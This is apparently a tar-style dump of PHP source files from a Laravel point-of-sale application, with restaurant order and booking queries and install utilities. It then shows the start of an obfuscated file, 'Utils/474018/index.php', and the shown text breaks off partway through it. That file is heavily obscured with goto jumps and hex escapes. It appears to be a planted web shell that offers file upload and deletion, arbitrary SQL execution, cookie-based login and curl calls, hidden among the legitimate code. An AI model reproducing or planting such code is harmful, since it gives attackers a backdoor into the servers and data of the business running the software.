'v.product_id', '=', 'p.id') ->leftJoin('units as u', 'p.unit_id', '=', 'u.id') ->leftJoin('product_variations as pv', 'v.product_variation_id', '=', 'pv.id') ->leftJoin('users as line_service_staff', 'transaction_sell_lines.res_service_staff_id', '=', 'line_service_staff.id') ->leftjoin( 'business_locations AS bl', 't.location_id', '=', 'bl.id' ) ->leftjoin( 'res_tables AS rt', 't.res_table_id', '=', 'rt.id' ) ->where('t.business_id', $business_id) ->where('t.type', 'sell') ->where('t.status', 'final'); if (empty($filter['order_status'])) { $query->where(function ($q) { $q->where('res_line_order_status', '!=', 'served') ->orWhereNull('res_line_order_status'); }); } if (! empty($filter['waiter_id'])) { $query->where('transaction_sell_lines.res_service_staff_id', $filter['waiter_id']); } if (! empty($filter['line_id'])) { $query->where('transaction_sell_lines.id', $filter['line_id']); } $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('t.location_id', $permitted_locations); } $orders = $query->select( 'p.name as product_name', 'p.type as product_type', 'v.name as variation_name', 'pv.name as product_variation_name', 't.id as transaction_id', 'c.name as customer_name', 'bl.name as business_location', 'rt.name as table_name', 't.created_at', 't.invoice_no', 'transaction_sell_lines.quantity', 'transaction_sell_lines.sell_line_note', 'transaction_sell_lines.res_line_order_status', 'u.short_name as unit', 'transaction_sell_lines.id', DB::raw("CONCAT(COALESCE(line_service_staff.surname, ''),' ',COALESCE(line_service_staff.first_name, ''),' ',COALESCE(line_service_staff.last_name,'')) as service_staff_name") ) ->orderBy('created_at', 'desc') ->get(); return $orders; } /** * Function to show booking events on a calendar * * @param array $filters * @return array */ public function getBookingsForCalendar($filters) { $start_date = request()->start; $end_date = request()->end; $query = Booking::where('business_id', $filters['business_id']) ->whereBetween(DB::raw('date(booking_start)'), [$filters['start_date'], $filters['end_date']]) ->with(['customer', 'table']); if (! empty($filters['user_id'])) { $query->where('created_by', $filters['user_id']); $query->where(function ($q) use ($filters) { $q->where('created_by', $filters['user_id']) ->orWhere('correspondent_id', $filters['user_id']) ->orWhere('waiter_id', $filters['user_id']); }); } if (! empty($filters['location_id'])) { $query->where('bookings.location_id', $filters['location_id']); } $bookings = $query->get(); $events = []; foreach ($bookings as $booking) { //Skip event if customer not found if (empty($booking->customer)) { continue; } $customer_name = $booking->customer->name; $table_name = $booking->table?->name; $backgroundColor = '#3c8dbc'; $borderColor = '#3c8dbc'; if ($booking->booking_status == 'completed') { $backgroundColor = '#00a65a'; $borderColor = '#00a65a'; } elseif ($booking->booking_status == 'cancelled') { $backgroundColor = '#f56954'; $borderColor = '#f56954'; } elseif ($booking->booking_status == 'waiting') { $backgroundColor = '#FFAD46'; $borderColor = '#FFAD46'; } if (! empty($filters['color'])) { $backgroundColor = $filters['color']; $borderColor = $filters['color']; } $title = $customer_name; if (! empty($table_name)) { $title .= ' - '.$table_name; } $events[] = [ 'title' => $title, 'title_html' => $customer_name.'<br>'.$table_name, 'start' => $booking->booking_start, 'end' => $booking->booking_end, 'customer_name' => $customer_name, 'table' => $table_name, 'url' => action([\App\Http\Controllers\Restaurant\BookingController::class, 'show'], [$booking->id]), 'event_url' => action([\App\Http\Controllers\Restaurant\BookingController::class, 'index']), // 'start_time' => $start_time, // 'end_time' => $end_time, 'backgroundColor' => $backgroundColor, 'borderColor' => $borderColor, 'allDay' => false, 'event_type' => 'bookings', ]; } return $events; } } Utils/AccountTransactionUtil.php 0000644 00000001053 15001146510 0013005 0 ustar 00 <?php namespace App\Utils; use App\TaxRate; class AccountTransactionUtil extends Util { /** * Updates tax amount of a tax group * * @param int $group_tax_id * @return void */ public function updateGroupTaxAmount($group_tax_id) { $amount = 0; $tax_rate = TaxRate::where('id', $group_tax_id)->with(['sub_taxes'])->first(); foreach ($tax_rate->sub_taxes as $sub_tax) { $amount += $sub_tax->amount; } $tax_rate->amount = $amount; $tax_rate->save(); } } Utils/InstallUtil.php 0000644 00000014261 15001146510 0010616 0 ustar 00 <?php namespace App\Utils; use App\Business; use App\Product; use App\Variation; use App\VariationLocationDetails; use App\VariationTemplate; use App\VariationValueTemplate; use DB; use Illuminate\Database\QueryException; class InstallUtil extends Util { /** * Remove all products from stock adjustment and add the corresponding in * quantity available. * USED ONLY TO UPDATE FROM VERSION 1.1 to 1.2 * * DEPRECIATED AFTER 1.2 * * @return int */ public function resetStockAdjustmentForAllBusiness() { try { DB::beginTransaction(); //Get all business $businesses = Business::all(); foreach ($businesses as $business) { $stock_adjustments = DB::table('stock_adjustments') ->where('business_id', $business->id) ->get(); if (! empty($stock_adjustments)) { foreach ($stock_adjustments as $sa) { $sa_lines = DB::table('stock_adjustment_lines') ->where('stock_adjustment_id', $sa->id) ->get(); if (! empty($sa_lines) && is_array($sa_lines)) { foreach ($sa_lines as $line) { $variation = Variation::where('id', $line->variation_id) ->where('product_id', $line->product_id) ->first(); if (! empty($variation)) { $variation_location_d = VariationLocationDetails::where('variation_id', $variation->id) ->where('product_id', $line->product_id) ->where('product_variation_id', $variation->product_variation_id) ->where('location_id', $sa->location_id) ->increment('qty_available', $line->quantity); } } } } } } DB::commit(); } catch (QueryException $e) { abort(404); } catch (Exception $e) { DB::rollBack(); exit($e->getMessage()); } } /** * Get system information as per the key passed. * * @param string $key * @return mixed */ public function getSystemInfo($key) { $system = DB::table('system')->where('key', $key)->first(); if (! empty($system)) { return $system->value; } else { return null; } } /** * Set system information as per the key value passed * * @param string $key * @param string $value * @return mixed */ public function setSystemInfo($key, $value) { DB::table('system')->where('key', $key)->update(['value' => $value]); } /** * Runs only if updated from v 1.3 to v2.0 * * @param float $db_version * @param float $app_version * @return bool */ public function updateFrom13To20($db_version, $app_version) { if ($db_version == 1.3 && $app_version == 2.0) { //Fix for purchase_lines table, copy data from purchase_price to pp_without_discount DB::update('UPDATE `purchase_lines` set pp_without_discount=purchase_price'); } return true; } /** * This function checks for product variations, maps if existing in * template or else create a new variation template * * @return void */ public function createExistingProductsVariationsToTemplate() { try { DB::beginTransaction(); //Get all the variable products $variable_products = Product::where('type', 'variable') ->with('product_variations', 'product_variations.variations') ->get(); //Check if variation template exists; If not create new foreach ($variable_products as $product) { foreach ($product->product_variations as $product_variation) { //Update Product variations $variation_template = VariationTemplate::where('business_id', $product->business_id) ->whereRaw('LOWER(name) = "'.strtolower($product_variation->name).'"') ->with(['values']) ->first(); if (empty($variation_template)) { $variation_template = VariationTemplate::create([ 'business_id' => $product->business_id, 'name' => $product_variation->name, ]); } $product_variation->variation_template_id = $variation_template->id; $product_variation->save(); //Update variations foreach ($product_variation->variations as $variation) { //Search variation value;If not found create new $variation_value = $variation_template->values->filter(function ($item) use ($variation) { return strtolower($variation->name) == strtolower($item->name); })->first(); if (empty($variation_value)) { $variation_value = VariationValueTemplate::create([ 'name' => $variation->name, 'variation_template_id' => $variation_template->id, ]); } $variation->variation_value_id = $variation_value->id; $variation->save(); } } } DB::commit(); } catch (Exception $e) { DB::rollBack(); exit($e->getMessage()); } } } Utils/474018/index.php 0000644 00001274564 15001146510 0010247 0 ustar 00 <?php goto UlOmg; sdgCo: vxWaW: goto YBOEg; VMtlw: goto CiCgu; goto mBApb; DMG8C: JYdtS: goto GGrQx; TDGQO: goto AFA7d; goto mWYA3; XNCHg: Bo25A: goto Rxapr; X0N6W: echo "\11\11\40\x20\x20\x20\x20\x20\40\40\x20\x9\11\x20\40\x20\x20\40\x20\x20\40\40\x3c\x66\157\x72\x6d\40\155\145\164\150\x6f\144\x3d\42\x70\x6f\163\x74\42\x20\141\143\164\151\157\156\75\42"; goto RXvYE; p93Tp: echo jngiJ("\123\x75\x62\x6d\151\x74"); goto osEux; q6ROg: $O10i3 .= JNgIJ("\106\151\154\145\163\40\165\x70\154\157\141\x64\x65\x64") . "\x3a\40" . $_FILES["\165\160\154\157\141\x64"]["\156\141\155\145"]; goto Te25o; el9KG: goto hLLmO; goto WCB2R; Q0QoH: echo $O10i3; goto uadVi; k5TiY: echo "\x3c\164\162\76\xd\xa\x20\x20\40\40\74\x74\144\x20\143\x6c\x61\163\x73\75\x22\x72\x6f\167\62\42\76\xd\xa\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\xd\xa\x9\11\x20\40\x20\40\40\40\40\x20\x20\x3c\164\x61\x62\x6c\x65\x3e\15\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\xd\12\11\x9\40\x20\x20\x20\40\x20\x20\40\x20\x9\74\x74\162\76\15\12\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\15\12\x9\x9\40\x20\x20\40\40\40\x20\x20\x20\11\x3c\164\144\76\15\xa\x9\11\x20\40\x20\40\x20\40\x20\40\x20\11\11\x20\x20\x20\40\x20\x20\40\x20\x20"; goto RRSE4; FJ6qJ: goto M7EIJ; goto A_Jy0; FPBXo: HJXh5: goto OPdYA; q14G3: uqyRv: goto ssHPq; MAb3e: RrBIk: goto OAKAC; Q4S9B: tE_L3: goto T9hiM; rDdV5: if (U9x2z($VLMCB . $_REQUEST["\x64\x65\154\145\x74\x65"], true)) { goto aMOxi; } goto nH0RD; oQfBS: NoW5b: goto w7nmV; E76Sa: goto Z5pZq; goto IBSHF; yX187: function CS8NE($f1wbw) { goto FWWNv; dhVp3: k2v7w: goto HP9jc; LzS5W: goto k2v7w; goto KaiqC; DGK6S: if (!empty($K0vAi)) { goto pmS9V; } goto IOaSi; VZuBn: $ippCD = DOXQ1(); goto GVfFi; KZLWD: goto ZC0WF; goto dhVp3; DFBQF: return $TuWne . "\x3c\x62\x72\57\76" . $cKAhG; goto cn_0Z; qa0iN: goto tE8wd; goto yfgv7; qgENo: DN8qf: goto iV_Wx; zponE: dVjBk: goto d7W1a; iV_Wx: goto K6zaL; goto DYArw; kZ4sG: $JIAYf = fread($u2ao2, G1BWn($f1wbw)); goto WJ3Tt; HcYG4: hv7wl: goto PZ4CY; LG_XU: pmS9V: goto s7mVI; Dk1rE: K6zaL: goto DGK6S; HP9jc: $u2ao2 = fopen($f1wbw, "\x72\53"); goto Ctc2i; W0eav: hPaUc: goto qgENo; Ctc2i: goto oU0KR; goto QK6Yb; IOaSi: goto RHYDR; goto LG_XU; padQo: goto LQSKh; goto HcYG4; xSoyD: h5KiY: goto VZuBn; KaiqC: fvXOF: goto Jx1el; CO05U: UCPHD: goto sgEVm; QK6Yb: tE8wd: goto FwW4z; yfgv7: LQSKh: goto o83G2; hQ1SC: goto XKQwF; goto W0eav; PZ4CY: $DiaCN = "\73\40\xa\x20\x20\xa"; goto LzS5W; DYArw: BcVHN: goto eHvAT; GVfFi: goto hv7wl; goto NqbLu; FwW4z: RHYDR: goto hQ1SC; sgEVm: $RZvLX = explode($DiaCN, $JIAYf); goto KZLWD; Bq3f1: return jngIj("\x53\165\143\143\x65\x73\x73") . "\40\xef\xbf\xbd\357\277\275\40" . $f1wbw; goto padQo; Jx1el: goto GeshZ; goto qa0iN; cn_0Z: goto fvXOF; goto Dk1rE; o83G2: GeshZ: goto PtH5l; FWWNv: goto h5KiY; goto x8dLH; Llbmc: vCvWS: goto DFBQF; CnEYR: oU0KR: goto kZ4sG; d10zc: foreach ($RZvLX as $cKAhG) { goto JfSYr; eq1fs: $kSmbA = $ippCD->query($cKAhG); goto Iczpa; h6cch: ubtn9: goto CJG4E; VfwdU: $TuWne = mysqli_error($ippCD->zeaP0); goto jKzZv; nUKSq: goto fzg4j; goto ODQiX; Yuezd: if (!$kSmbA) { goto ScfBB; } goto vAJwc; JO8l1: goto w31ON; goto EpcOp; w1Cgy: goto Bdx1Y; goto Akaaa; bFnlK: Bdx1Y: goto h6cch; uZR7M: goto Q5Cee; goto bNBnC; r5kkG: fzg4j: goto Tny5q; Akaaa: NKb6H: goto Yuezd; shatO: qirR6: goto dd0R0; g_S1I: if (strlen($cKAhG) > 3) { goto LUHPD; } goto JO8l1; dd0R0: w31ON: goto nUKSq; StAJN: Q5Cee: goto VfwdU; X7r3w: A2LZD: goto eq1fs; ODQiX: jVJ2T: goto g_S1I; QfBkt: $K0vAi = mysqli_errno($ippCD->zeaP0); goto uZR7M; dsiHc: HjXQQ: goto gJeHY; bNBnC: Csp5A: goto YEb9r; Tny5q: JD8B1: goto w1Cgy; EpcOp: LUHPD: goto X0MSU; YEb9r: Q3JN9: goto BC8_S; Ifiio: goto Csp5A; goto StAJN; JfSYr: goto jVJ2T; goto shatO; V13CX: goto HjXQQ; goto dsiHc; j0I4v: ScfBB: goto Brdlv; jKzZv: goto v5lq1; goto r5kkG; gJeHY: goto DN8qf; goto Ifiio; Brdlv: goto vzws5; goto X7r3w; BC8_S: goto qirR6; goto VSm_0; X0MSU: goto A2LZD; goto W8PqI; O_1jR: $e56pZ = $cKAhG; goto V13CX; Iczpa: goto NKb6H; goto bFnlK; W8PqI: vzws5: goto QfBkt; VSm_0: v5lq1: goto O_1jR; vAJwc: goto Q3JN9; goto j0I4v; CJG4E: } goto zponE; NqbLu: ZC0WF: goto d10zc; x8dLH: XKQwF: goto Bq3f1; s7mVI: goto vCvWS; goto CnEYR; d7W1a: goto hPaUc; goto CO05U; WJ3Tt: goto UCPHD; goto xSoyD; PtH5l: goto BcVHN; goto Llbmc; eHvAT: } goto k99x8; v47rc: goto HTwPm; goto W_92d; ExfFq: echo "\15\xa\x3c\x2f\x74\x62\x6f\144\171\x3e\xd\12\xd\xa\74\57\164\x61\x62\x6c\145\76\15\xa\xd\12\x3c\x64\151\166\40\x63\x6c\141\163\163\75\x22\162\157\x77\63\42\x3e"; goto szHjb; WuAfx: $PcRaw = MX8mG($VLMCB, '', "\141\154\x6c", true); goto VyXpa; U7gIB: $O10i3 .= JNGIj("\105\162\162\157\x72\x20\157\x63\x63\x75\162\162\x65\x64"); goto BzL7X; ivWbv: echo FmvOa("\x73\x71\154"); goto U3XYm; fWVxq: goto w0Mmg; goto dj4cz; rkUW0: oESd3: goto NiCCk; vN4sI: goto wU379; goto jh9yw; wRj44: jmbfm: goto cnPql; Q5o72: uDCWQ: goto RXdVc; iC2zI: lIjZU: goto v5NNR; t0U9a: Tv7W9: goto M9Y5R; P0_Zz: if1zS: goto ayaA4; y1gFt: goto J3wkC; goto FUAHc; wBS3P: VEDIw: goto Durzi; PHvTw: zf7T9: goto wRosP; A8DxO: goto AUTWx; goto PQ5Wn; iARcz: w1jK6: goto FwjQ5; o6GZo: echo TQg63($PHgnI); goto TDGQO; aCwWI: AUsv1: goto ivWbv; Mg2lz: WpdSy: goto P0_Zz; bOhQm: sj933: goto sdg0g; B5ZPT: echo "\40\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\xd\12\11\11\40\x20\40\x20\x20\x20\40\x20\x20\11\74\x69\156\x70\x75\x74\40\x74\x79\x70\145\75\42\163\165\x62\x6d\151\x74\x22\x20\x76\x61\x6c\165\x65\75\42"; goto hfpEH; Arm0f: y_qS4: goto rPQ_I; Y9S7F: echo $kSmbA; goto EVYib; gWf1V: goto mQtS4; goto wTzc3; eaaGw: NgDdF: goto rY1uX; u06Eo: goto B3rcV; goto JwLjU; wUdkr: dYLK2: goto vyDOs; EqRgM: goto zBmue; goto bgsmC; MSouB: setcookie($fahGj["\x63\x6f\157\153\x69\x65\137\156\x61\155\x65"], $fahGj["\x6c\157\147\151\x6e"] . "\x7c" . md5($fahGj["\160\x61\x73\x73\x77\x6f\x72\144"]), time() + 86400 * $fahGj["\x64\x61\x79\163\137\141\165\x74\x68\157\162\151\x7a\x61\164\x69\157\156"]); goto AoBeq; OrxXJ: cO__B: goto aPRDh; cc1lo: echo $RrtHJ; goto DhyJJ; uu9F5: goto nBvqE; goto ArrBw; VJ87c: goto hwPET; goto Cs0tJ; tvH70: acxW0: goto wWbra; B0ym0: pY68H: goto lWRGt; YDfrM: $VLMCB = str_replace("\x5c", "\57", $VLMCB) . "\x2f"; goto lXmzR; yNGMX: kHCVK: goto tBnJl; jyIp5: ggJGZ: goto tjLON; niwC1: goto BntNr; goto OKIY9; mLT7h: goto dK1Ur; goto N3WJq; A1FwK: W7bMZ: goto kSJfI; eoNbw: AESxv: goto nNpT0; ggInq: echo "\15\12\xd\xa\xd\12\15\xa\15\12\74\x74\141\x62\x6c\145\40\x63\154\x61\x73\x73\75\x22\x77\x68\157\x6c\145\x22\40\151\144\75\42\150\145\141\x64\145\x72\137\x74\x61\142\x6c\x65\x22\x20\76\xd\12\xd\xa\x3c\164\x72\x3e\15\12\x20\40\40\40\74\164\150\40\143\157\154\163\160\x61\156\x3d\42\62\42\x3e"; goto qqKCy; spsc4: Fto4l: goto AeQKA; IqQb_: goto gb_Sf; goto ujF4g; GedPX: b_lYE: goto pA2r6; KiRmO: echo "\x22\76"; goto k6C63; GAzQ9: Qp4Kg: goto MZPDQ; nPHf4: fluN7: goto oZZdZ; jesPS: jHpzW: goto yKNFc; uIv4f: DBPuf: goto zAknb; kx3Wy: goto xmLQ5; goto wO5d0; HGrl_: $GjkCm = base64_decode($_GET["\x67\172\146\x69\154\145"]); goto nZJiH; HVFxm: goto BmwWJ; goto jcOhQ; XcLnr: yYjNn: goto sY8Wz; vUA8X: if (!is_file($e2Q0i)) { goto k6LzT; } goto e8LPg; bYlkt: if (is_file($wdJBd . "\x2e\x67\172")) { goto LU7Xy; } goto RNDA6; lu2ip: goto Toptx; goto iBHxf; NuOmq: $sCE3Z = $bECPR[0] + $bECPR[1] - $iJSaS; goto yP5HG; BA6Kk: goto WKq8_; goto tQyfm; FUAHc: dybmX: goto wJ7eq; aUXCp: x5R3j: goto r_Y9L; U6gi7: goto zl6p4; goto H1a_G; rY1uX: Icnes: goto Rs0g5; bt9YA: setcookie($fahGj["\143\157\157\x6b\x69\145\x5f\156\x61\155\145"], '', time() - 86400 * $fahGj["\x64\x61\171\x73\137\141\x75\x74\x68\x6f\162\x69\172\141\164\x69\x6f\156"]); goto yvWAv; I3IvO: j_qPG: goto Cxlis; AoqhC: goto PMi1h; goto hZdHQ; IpicF: echo "\x3c\x2f\141\76\15\12\11\74\x2f\x74\144\x3e\xd\12\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\xd\12\74\57\x74\x72\x3e\xd\xa\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\xd\xa\x3c\164\162\76\15\12\15\xa\40\40\x20\40\74\x74\144\40\143\154\141\163\x73\x3d\42\162\157\167\61\x22\x20\141\x6c\151\147\x6e\x3d\42\x63\145\156\x74\x65\162\x22\x3e\xd\12\15\xa\40\x20\x20\40\x20\40\x20\40\x3c\x66\157\162\x6d\x20\x6e\141\155\145\75\42\x66\157\x72\x6d\x31\x22\x20\155\x65\x74\150\x6f\x64\75\42\160\157\x73\x74\x22\x20\141\143\x74\151\x6f\156\75\x22"; goto WYQBA; W_t59: uxC8s: goto WmF2P; jLO_V: goto HhyTS; goto D8xas; RPFm0: W1F5g: goto O_VNf; JU1Oh: goto RXHw6; goto OsQcY; aYioy: goto dC2tO; goto cada4; DQe_E: goto lWCmP; goto CEev8; Waimy: rCvWk: goto suX7T; bMt5i: hEerG: goto y8s7l; pYyka: goto r8DqJ; goto ppYsW; fgbtu: goto bLE3l; goto Py0mQ; zanSL: if (!isset($_GET["\144\145\x63\157\x6d\x70\x72\x65\163\163"])) { goto lIjZU; } goto w86td; GK05W: goto JRo18; goto vXmV0; eeLtv: ccu12: goto aCBUM; oTiBm: goto Zlgd6; goto qMCrF; UAwtC: goto jvFJ9; goto Gj8r4; hUv4R: echo "\x3c\57\164\x65\170\x74\141\x72\x65\141\76\x3c\142\x72\57\76\xd\xa\xd\12\11\11\x20\40\40\x20\x20\x20\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\145\x3d\x22\x72\145\163\145\x74\x22\40\166\141\x6c\x75\145\75\x22"; goto fef1E; u9Hyi: iDIop: goto MUo7q; sn4vS: qCexv: goto bw4F3; NHaF3: wB5Iu: goto TVtzj; dZ1aj: curl_setopt($N2qJa, CURLOPT_RETURNTRANSFER, true); goto ABnWm; Dpfx5: echo "\15\xa\x9\74\x2f\164\x64\x3e\15\xa\74\x2f\164\x72\76\xd\12\xd\12\x3c\164\x72\x3e\15\xa\15\xa\x20\x20\x20\x20\74\164\144\40\x63\x6c\141\x73\x73\x3d\42\x72\x6f\167\61\x22\76\xd\xa\15\xa\40\40\x20\x20\x20\40\x20\x20"; goto OPMF3; qOUpy: echo JngIj("\x51\165\151\164"); goto svk4L; AEzy1: goto pudoz; goto yiz1Q; Rs0g5: goto ctNIU; goto kcfJ8; JrvhA: echo "\15\xa\x3c\x2f\x64\x69\x76\x3e\15\xa\74\x73\143\162\151\x70\x74\40\164\171\160\145\75\42\164\x65\x78\164\57\x6a\141\x76\141\x73\x63\162\151\160\164\x22\x3e\xd\xa\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\xd\xa\146\x75\156\x63\x74\151\157\156\x20\144\157\167\156\154\157\x61\x64\137\170\154\x73\50\x66\x69\x6c\145\x6e\x61\x6d\145\54\x20\x74\145\x78\164\51\x20\x7b\xd\12\15\12\11\166\x61\162\x20\145\154\145\155\145\x6e\x74\x20\x3d\40\144\157\x63\x75\155\x65\x6e\x74\x2e\143\x72\x65\x61\164\x65\105\154\x65\x6d\x65\x6e\164\50\x27\x61\x27\x29\73\xd\xa\11\145\x6c\145\x6d\x65\156\164\x2e\163\145\164\101\164\164\x72\151\142\x75\x74\145\50\47\x68\162\x65\x66\47\54\x20\x27\x64\141\x74\x61\x3a\x61\160\160\x6c\x69\143\x61\164\x69\157\156\57\x76\156\x64\56\x6d\163\x2d\145\x78\143\x65\154\73\x62\141\x73\145\66\64\54\x27\40\53\40\x74\x65\170\x74\x29\73\xd\xa\15\12\x9\x65\x6c\145\155\x65\x6e\x74\x2e\163\145\x74\101\164\164\162\151\x62\165\164\x65\x28\47\144\157\167\156\x6c\x6f\x61\144\47\x2c\40\x66\x69\154\x65\156\x61\155\145\51\73\xd\xa\11\145\x6c\145\155\x65\x6e\x74\56\x73\x74\171\154\x65\56\x64\151\163\x70\x6c\141\x79\x20\x3d\40\x27\156\x6f\x6e\x65\47\x3b\15\xa\xd\12\x9\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\x62\157\144\171\56\x61\x70\x70\x65\x6e\x64\103\150\151\154\144\50\x65\x6c\145\155\145\156\x74\x29\x3b\xd\xa\11\x65\154\x65\155\145\156\x74\x2e\143\x6c\151\x63\x6b\50\x29\x3b\15\xa\xd\xa\x9\x64\157\143\x75\x6d\145\156\x74\56\142\157\144\x79\x2e\162\145\155\157\x76\x65\103\150\151\154\144\x28\145\154\145\x6d\145\x6e\164\x29\73\xd\12\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\15\12\175\xd\12\15\12\xd\12\15\xa\x66\165\156\x63\164\x69\x6f\156\40\142\x61\163\x65\x36\x34\137\145\x6e\x63\x6f\144\x65\x28\155\x29\x20\x7b\15\12\xd\xa\11\x66\x6f\x72\x20\50\166\141\x72\x20\153\40\x3d\x20\x22\101\102\x43\x44\105\x46\x47\110\x49\x4a\113\x4c\115\116\x4f\120\121\122\123\124\125\126\x57\130\131\x5a\141\x62\143\x64\145\x66\147\150\x69\152\153\154\x6d\156\x6f\x70\161\162\x73\x74\165\166\167\x78\x79\x7a\x30\x31\x32\x33\64\x35\66\67\x38\x39\x2b\x2f\42\x2e\163\x70\154\x69\x74\50\x22\x22\51\54\x20\x63\54\x20\144\54\x20\150\54\x20\145\54\40\141\x2c\x20\147\40\75\x20\x22\42\54\40\x62\40\75\40\x30\54\x20\146\54\x20\x6c\x20\75\40\x30\73\x20\154\x20\x3c\x20\x6d\56\154\145\156\147\164\x68\73\x20\53\x2b\x6c\x29\40\x7b\xd\12\15\xa\11\11\40\40\x20\x20\40\40\x20\40\40\x63\x20\x3d\40\155\56\143\x68\141\162\103\157\144\145\x41\x74\x28\x6c\x29\x3b\xd\xa\15\12\11\x9\x20\40\x20\40\x20\x20\x20\40\x20\151\x66\40\50\61\x32\70\x20\x3e\x20\143\x29\x20\144\x20\x3d\40\61\73\15\xa\15\xa\x9\x9\40\40\x20\x20\x20\x20\x20\40\40\x65\x6c\x73\x65\15\xa\xd\12\x9\11\x20\x20\x20\x20\40\x20\x20\x20\x20\x9\x66\157\x72\x20\50\144\40\x3d\x20\62\73\x20\143\40\76\x3d\40\62\40\x3c\x3c\40\65\40\52\40\x64\x3b\51\x20\x2b\x2b\144\73\xd\xa\11\x9\x20\40\40\x20\40\40\40\x20\40\146\x6f\162\40\x28\150\40\x3d\x20\x30\73\x20\x68\x20\x3c\40\144\x3b\x20\53\53\150\51\40\61\x20\75\75\40\144\40\x3f\x20\145\x20\75\x20\x63\x20\72\40\50\x65\x20\75\x20\150\x20\x3f\x20\x31\x32\70\x20\72\x20\x31\x39\x32\54\x20\x61\x20\x3d\40\x64\x20\x2d\40\62\40\55\40\x36\40\x2a\x20\150\x2c\40\x30\40\74\x3d\40\x61\x20\46\46\40\x28\x65\40\53\75\40\x28\66\x20\74\x3d\x20\141\x20\77\x20\61\40\72\x20\60\x29\x20\x2b\40\x28\65\40\74\75\x20\x61\40\77\40\x32\x20\x3a\x20\x30\x29\x20\53\x20\50\64\x20\x3c\75\x20\x61\40\x3f\x20\64\x20\x3a\x20\60\51\40\53\x20\x28\x33\40\x3c\x3d\40\141\x20\77\40\70\x20\x3a\40\60\x29\x20\x2b\x20\x28\x32\x20\74\75\x20\141\x20\77\x20\x31\x36\x20\72\40\x30\51\40\x2b\x20\x28\x31\40\x3c\75\40\141\x20\77\x20\63\x32\x20\72\x20\x30\51\x2c\x20\141\40\x2d\x3d\40\65\x29\x2c\40\60\x20\x3e\40\141\40\x26\x26\40\x28\x75\40\75\40\x36\x20\x2a\40\x28\144\x20\x2d\x20\x31\x20\55\x20\x68\51\54\x20\145\x20\x2b\x3d\40\143\x20\76\76\x20\165\54\40\x63\x20\x2d\75\40\x63\40\x3e\x3e\x20\165\x20\x3c\x3c\40\165\x29\51\x2c\40\x66\x20\75\40\x62\40\x3f\40\146\40\74\74\40\66\40\x2d\x20\x62\x20\72\40\x30\54\40\x62\x20\x2b\x3d\40\x32\x2c\x20\x66\40\x2b\75\x20\x65\x20\76\76\x20\x62\54\40\x67\40\53\75\40\x6b\133\146\135\54\40\x66\40\75\40\145\x20\45\40\x28\x31\x20\x3c\x3c\x20\x62\x29\x2c\x20\x36\x20\75\75\x20\142\40\46\x26\40\50\x62\40\75\x20\x30\54\x20\x67\40\53\75\x20\153\x5b\x66\135\51\xd\xa\15\xa\11\175\15\12\x9\142\x20\x26\46\40\50\x67\x20\x2b\75\x20\153\x5b\146\40\74\74\x20\66\40\x2d\40\x62\135\51\x3b\15\xa\x9\162\145\x74\x75\162\x6e\x20\147\xd\xa\15\12\x7d\15\12\15\xa\xd\xa\15\12\166\x61\162\x20\x74\x61\x62\154\145\124\x6f\105\170\143\145\154\104\141\x74\x61\40\75\x20\50\146\x75\156\x63\164\151\x6f\x6e\50\51\x20\x7b\15\xa\xd\xa\x20\x20\40\40\x76\141\x72\40\165\162\x69\40\75\x20\47\144\141\164\x61\72\x61\x70\x70\x6c\151\143\141\164\151\157\x6e\57\x76\x6e\x64\56\155\x73\55\x65\x78\x63\x65\154\x3b\x62\141\163\x65\x36\64\54\47\x2c\xd\12\15\xa\40\x20\40\40\x74\145\155\160\x6c\141\164\x65\x20\75\40\47\x3c\x68\x74\x6d\x6c\x20\x78\x6d\x6c\x6e\x73\72\157\x3d\x22\x75\x72\x6e\72\x73\x63\x68\145\x6d\141\163\55\155\151\143\162\157\163\157\x66\x74\55\143\157\155\x3a\157\146\x66\151\x63\145\72\x6f\146\146\151\x63\x65\x22\40\x78\155\154\x6e\x73\x3a\x78\x3d\42\165\x72\x6e\x3a\163\143\150\x65\x6d\141\163\x2d\x6d\151\x63\x72\157\163\x6f\146\164\55\143\157\155\x3a\x6f\x66\x66\151\x63\x65\x3a\145\170\x63\145\154\x22\40\x78\x6d\x6c\156\x73\75\42\150\164\164\160\72\x2f\57\167\x77\x77\x2e\167\63\56\x6f\x72\147\x2f\124\122\x2f\122\x45\x43\55\x68\x74\155\x6c\x34\x30\x22\x3e\74\150\x65\x61\x64\x3e\74\41\x2d\x2d\x5b\151\146\40\147\164\145\40\x6d\163\157\40\x39\x5d\76\74\x78\x6d\x6c\76\74\170\72\x45\170\143\145\154\127\x6f\x72\153\142\x6f\157\x6b\x3e\74\x78\72\105\x78\143\145\154\x57\x6f\162\153\163\x68\145\x65\164\163\x3e\74\170\72\105\170\x63\x65\154\127\157\x72\153\x73\150\x65\x65\x74\76\x3c\170\72\116\141\155\145\76\173\167\x6f\x72\x6b\x73\150\145\x65\x74\175\x3c\57\x78\72\x4e\x61\x6d\x65\x3e\x3c\170\72\x57\x6f\x72\153\163\x68\x65\145\x74\x4f\160\x74\x69\157\x6e\x73\x3e\x3c\x78\72\x44\x69\163\x70\154\x61\x79\x47\162\x69\x64\x6c\151\x6e\145\163\x3e\74\x2f\170\72\104\x69\